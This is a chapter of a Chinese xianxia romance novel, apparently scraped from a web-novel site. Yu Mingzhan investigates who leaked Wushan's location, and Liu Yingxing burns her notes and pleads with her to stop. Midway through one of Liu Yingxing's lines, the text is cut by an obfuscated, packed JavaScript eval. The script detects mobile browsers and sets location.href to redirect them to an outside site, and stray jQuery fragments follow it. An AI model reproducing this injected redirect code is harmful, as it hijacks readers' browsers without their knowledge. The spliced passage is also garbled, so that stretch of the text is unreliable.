玉明盏的身形一顿:“你都知道了?”


    沈念看不见,只听见她下去的动静停了,拉着她道:“他说玉敬要血祭妖家,换回巫山。”


    玉明盏垂着头:“他失败了。但他险些成功了。”


    沈念听出她压抑的难过,摸黑抱住她,下巴搁在玉明盏肩上。


    “我知道,他是你兄长。”


    “不仅是因为这样。”


    玉明盏道:“我也曾想要他们回来的。”


    她说的是她的族人。


    沈念手臂从后面绕过来,把她的手包裹在掌心。


    玉明盏接着道:“灵水玉真正的作用,是与天道对话。它的巫山灵力源自天道,与神魂同源,只要它在,就能平衡因果。但我现在感知不到它了。”


    沈念下巴抵着玉明盏的肩,轻声道:“要平衡因果,仙家的人数,够吗?”


    玉明盏不置可否,只轻轻地把沈念推开,起身欲朝门口走去。


    沈念又拉住她的手:“还有一事。”


    他喉结上下动了动,有些艰涩道:“我之前说的话,能否算了?”


    “什么话?”玉明盏一时没反应过来,回忆了一下道,“是你在四极天平里与我说的吗?”


    沈念睁着一双空洞的眼睛点头,玉明盏忽然想看看,师兄这副可怜的模样能否再可怜一点,就眨了眨眼狡黠道:“哦,是说我可以爱上别人,对吧?”


    沈念握着玉明盏的手,突然用力,整个人不知所措地绷紧。


    高高大大的人像是又要掉下泪来。


    玉明盏见他真的紧张了,念及师兄身体还有恙,就道:“逗你的逗你的,师兄,我不会爱上别人的。”


    沈念慢慢松开她,手垂了下去。


    他这样还真是……可爱。


    玉明盏俯身哄了他半天,才终于把沈念哄得愿意好好躺回床上。


    除了养自己的伤以外,玉明盏一直在追查灵水玉的踪迹,玉敬做的所有事情,以及与巫山有关的所有人。


    师兄变得很脆弱,见不到玉明盏就无比不安,见到了又想方设法不让她走。


    玉明盏被他弄得没办法,只能在他屋内整理情报。


    结合贺明朝与柳家给的情报,还有她自己查出来的,玉敬早早就看见了巫山会殒灭的预言,所以在玉明盏十五岁那年,他就离开了巫山、来到妖家。


    玉敬离开巫山时携带着丹砂,他蛰伏在妖家发展势力、收集情报、以巫山法脉的力量制造妖子,得到绘有巫山位置的舆图以后,明晃晃地将它藏在了月亮上。


    直至玉敬找到机会,彻底渗透了摧心楼,再祭出丹砂为饵引妖家内斗,所有神魂全被用来血祭。


    唯一的变数,是他原本想要引诱沈念来神选,谁知引到的是玉明盏。


    他知道地台混进了一个巫山人,还带着灵水玉。


    可他不知道那是玉明盏。


    所以他变改了计划,提前毁坏沈念的道心,激发他体内的妖修法脉,直接屠尽西江城。


    此举露出了太多的破绽,玉明盏才有机会阻止了沈念,并毁月得到舆图。


    玉明盏看着案上的丹青沉思:“画这舆图的手笔,我好像在日月悬晷见过?”


    对面的贺明朝避开她的目光佯装不知。


    玉明盏心下有了掂量,瞟了内间看似熟睡的沈念一眼。


    她把舆图收回三千界卷里,重新展开情报图:“根据柳氏星图,满月不变的现象自一年之前出现,那是在巫山一族覆灭之后。所以,玉敬哥哥在那之后才得了舆图。”


    她的面容染上一层阴翳:“在此之前的巫山从来避世,有神魂的保护不会暴露位置。在仙家人上山之前,到底有谁看过这张图,才让仙宫人知晓巫山的位置?”


    讲完这段话,玉明盏心头又悬起了一块大石。


    原以为尘埃落定,实则玉敬哥哥是那个想补救的。


    罪魁祸首另有其人。


    柳家侍者进来报说柳映星来了,柳映星大步跨进来,屏退左右。


    贺明朝给她行礼,柳映星也不回礼,径直走向玉明盏,从她手里把情报扯走,也包括那一张星图。


    还未待大家作出反应,柳映星一把火诀燃在指尖。


    玉明盏站了起来,冷冷地看那些情报碎成火星子。


    柳映星从灰烬中踩过,衣角鞋子沾了发白的尘埃,对玉明盏道:“不许再查了。”


    玉明盏道:“你们从阵里分离出了丹砂,是不是?”


    柳映星打了个寒噤,冷声道:“盏儿,这世上真的没有起死回生的神药。巫山的特殊之处,在于可以均平因果,如同天平均平灵力。你若不付出代价,怎么做得到?”


    贺明朝也不走,只垂手在旁看着。


    玉明盏道:“对不起,映星。”


    柳映星一脸被诓骗的表情:“你早就知道了?!”


    因为惭愧,玉明盏的脸颊仿佛被染红:“是见到玉敬哥哥之后,我才明白。以前在巫山,我也不知道太多……”


    柳映星呵斥:“那你还查什么?!”


    她陡然提高声音,那一句之后,屋内鸦雀无声。


    连沈念都醒了,眼睛缠着白布,半撑着身子坐起来,转向她们的方向。


    沈念与贺明朝都是第一次听轻声细语、不卑不亢的柳映星这般盛怒。


    玉明盏是见过她这样的,向前一步接近柳映星,解释道:“我只是想查明白……”


    “查明白了,又怎么样?”


    “你的族人,能复活吗?”


    “你奈何得了仙宫吗?”


    “你的哥哥姐姐,回来得了吗?”


    “而你,会因此而死!”


    寒风吹开了窗扇,倒灌进透骨的凛冽。


    柳映星的怒容美得惊心动魄,她喘了口气继续道:“你与沈师兄、与我,都曾说过,你想让他们回来。我念及你少年丧亲,想帮你寻回丹砂。可如今,他们回来不了了。”


    玉明盏道:“玉敬并非一切的起始,泄露巫山位置的另有其人。”


    她指向地面的灰烬:“你烧掉的情报里,就有此人的线索。现在仙宫与巫山两败俱伤,无论那人想做什么,现在还不会是最后一步。甚至,也许会牵连妖家。”


    柳映星不容反驳:“有人会管


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142961|186496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妖家的事。但无论如何,不能是你。”


    玉明盏沉了脸色,若有所思:“是不是有人同你说了什么?”


    贺明朝被她的视线一指,无奈地撇清关系。沈念沉默无言。


    柳映星道:“没有。”


    玉明盏不信:“谁让我们映星那么害怕,我去揍他。”


    柳映星没忍住笑了:“真的没有。”


    “那就是因为丹砂了?”


    柳映星先颔首,又摇头。


    玉明盏察觉到柳映星冷静了一些,拉着她双双坐下。


    她看了柳映星的脸色,把贺明朝先请出去,又放了隔音结节,把沈念屏蔽在外。


    看着旁人都不在,柳映星才握着玉明盏的手道:“前几日,我姐姐的伤本来好得差不多,却突然灵力逆行,冲到了心脉。若非我娘来得及时……”


    玉明盏顿时蹙眉。


    “……分明,分明前一日还好好的。我一下子想到那日,她与大哥满身是血地倒下,才知生命原来这般轻。”


    玉明盏竟然道:“你以前也见人杀过人的。”


    柳映星看她一眼:“可我没想过,会发生在我在乎的人身上。所以一想到你在做这样危险的事,我就觉得害怕、辗转难眠,辰时做完了事就来见你。”


    玉明盏生起了愧疚,一时不知道该如何回答她。


    半晌后,柳映星也皱着眉,但双眼无比明亮:“盏儿,你能不能像养伤时那样,休息一辈子?”


    玉明盏道:“哪有那么简单……”


    “倘若你我易位,你愿不愿意看我做你在做的事?”


    玉明盏倒是不愿意。


    在她心里,她自己肩负着许多事,但柳映星可以有很好的人生。


    她有爱她的父亲母亲、哥哥姐姐,有地方可以去,不必逃往任何地方。


    她不忍看见任何事情破坏柳映星的人生。


    柳映星端坐:“我妖家早就和仙宫翻脸,绝对落不了全身而退。玉敬拉我们入水,如今巫山舆图、丹砂也在这里,爹娘定不会放过这些事情,也会将罪魁祸首追查到底。”


    “那么多一个人查不是更好?”


    “不行,”柳映星想得很简单,“我娘和我爹有手段、打得过仙宫人,你不一定。”


    玉明盏与她辩了几个来回,最终柳映星道:“若你要做任何事情,至少把身上的旧伤新伤养好。”


    玉明盏看出柳映星只是缓兵之计:“我不可能活在妖家庇护下一辈子。”


    柳映星定定地看着她:“我就是看不得在乎的人受伤,就是不愿意父亲母亲、哥哥姐姐,还有你出事。我想自私一辈子。”


    玉明盏同意了搁置调查的事情,但阳奉阴违。


    柳映星禁止柳家修士给她提供情报,又请贺梅与贺明朝谈话,弄得贺明朝也不好给玉明盏传递情报。


    柳氏自己在查拿到过舆图之人,只是那是十七年前的事,即便借金翅迦楼和柳氏做再多,也难有蛛丝马迹。沈念双眼废了,没了瞳术,更无法查事。


    玉明盏便装作放下过去、毫不在意,又开始发疯似地修炼,比在仙宫时更努力百倍。